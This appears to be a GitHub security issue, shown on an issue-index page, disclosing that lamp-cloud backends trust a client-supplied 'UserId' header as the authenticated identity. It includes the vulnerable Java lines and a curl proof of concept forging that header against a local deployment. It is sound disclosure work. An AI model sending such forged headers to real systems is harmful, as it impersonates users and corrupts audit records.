dromara / dromara/lamp-cloud

[Security] Authentication identity can be forged to act as any user

Open
#409 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Java
Stars
5.8k
Forks
1.8k
PR merge metrics
No merged PRs in 30d

Description

### Summary
`lamp-cloud` backends take the authenticated identity from a plaintext, forgeable `UserId` HTTP header with no token cross-check. An unauthenticated client forges that header to act as any user. The identity source is on by default in microservice backends (the production topology).

Affected: `dromara/lamp-cloud` latest version.

### Details
Two root causes.

**A. The backend trusts a forgeable request header as the identity.**
`lamp-public/lamp-sa-token-ext/.../interceptor/HeaderThreadLocalInterceptor.java:47-51`:
```java
String userId = WebUtils.getHeader(request, ContextConstants.JWT_KEY_USER_ID); // header "UserId"
ContextUtil.setUserId(userId); // raw request header stored as the authenticated identity, no token check
```
The identity is whatever the client sends in the `UserId` header. There is no signature, session, or token verification. `ContextArgumentResolver.java:64-70` then sets `@LoginUser SysUser.id` from `ContextUtil.getUserId()`, and MyBatis-Plus auto-fills audit columns (`created_by`, etc.) from the same value — so every action is recorded as / acted as the forged user.

**B. The trust path is on by default for the production topology.**
`MySaTokenContextRegister.java:28`:
```java
@ConditionalOnProperty(prefix = Constants.PROJECT_PREFIX + ".webmvc",
name = "header", havingValue = "true", matchIfMissing = true)
```
`matchIfMissing=true` means the interceptor registers unless the app overrides it. Microservice backends (gateway→base/system/oauth, the real deployment) do not override it, so the sink is live by default. In boot mode (`lamp-boot-server`) the shipped `application.yml` sets `lamp.webmvc.header: false`, so the demo monolith is not vulnerable out of the box — the reproduction below enables it to match micro-backend behavior.

The unauthenticated sink: `MsgController.java:35,42-44` maps `POST /anyUser/extendMsg/sendByTemplate(... , @LoginUser SysUser)` under the token-ignored `/anyUser/**` path set (`IgnoreProperties.java`, boot `application.yml:79-81`).

### PoC
Deploy `lamp-cloud` boot mode with Docker on `localhost:18760`, with `lamp.webmvc.header=true` (matches micro-backend default).

```sh
B=http://127.0.0.1:18760

# NORMAL — no identity header. The row is recorded as anonymous (created_by = NULL).
curl -s -X POST "$B/anyUser/extendMsg/sendByTemplate" \
-H 'Content-Type: application/json' \
-d '{"code":"REGISTER_SMS","recipientList":[{"recipient":"13800000002"}]}'

# VULNERABLE — forge the victim's UserId. The row is recorded as the victim (created_by = 2002).
curl -s -X POST "$B/anyUser/extendMsg/sendByTemplate" \
-H 'Content-Type: application/json' -H 'UserId: 2002' -H 'EmployeeId: 2002' \
-d '{"code":"REGISTER_SMS","recipientList":[{"recipient":"13800000001"}]}'

# OBSERVE — created_by follows the forged header verbatim:
docker compose exec -T mysql mysql -uroot -proot lamp_none \
-e "SELECT id, created_by, template_code FROM extend_msg ORDER BY id;"
```

Image

The difference is the entire vulnerability: a client-controllable header decides "who did this". Same endpoint, same unauthenticated request — `created_by` is `2002` only because the attacker typed `UserId: 2002`.

### Impact
Unauthenticated, network-reachable identity spoofing: any client acts as any user (reads/acts on user-scoped data, sends messages as them, gets actions recorded under their id). In the full microservice topology the gateway forwards the inbound `UserId` verbatim on token-ignored paths and never strips it (`TokenContextFilter.parseToken:271-273`, no `RemoveRequestHeader` anywhere), so the spoof also reaches the backend through the public gateway. Severity: High. Not affected: the boot demo with its shipped `webmvc.header=false` — but the production microservice backends are vulnerable by default.

### Suggested Fix
At the gateway, strip all client-supplied identity headers inside `TokenContextFilter` before the token-ignored branch, then re-inject only values derived from the validated token/session on authenticated requests.
At the backend, stop deriving `ContextUtil` from `UserId`, `EmployeeId`, or org headers; use the validated sa-token session instead and protect direct backend access with an internal network or mTLS.

Contributor guide

No contributing guide indexed for this repository

Research direction

Start with HeaderThreadLocalInterceptor.java, MySaTokenContextRegister.java, TokenContextFilter, and the token-ignored configuration in IgnoreProperties.java and application.yml. Trace how UserId reaches ContextUtil and the gateway/backend paths, then reproduce the PoC with the provided Docker and curl commands. Done means client-supplied identity headers cannot establish identity, while validated session or token identity still reaches authenticated requests.

Written by the indexing model from the issue text.

Assessment

Tech stack
docker, java, spring
Domain
api, authentication, backend, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.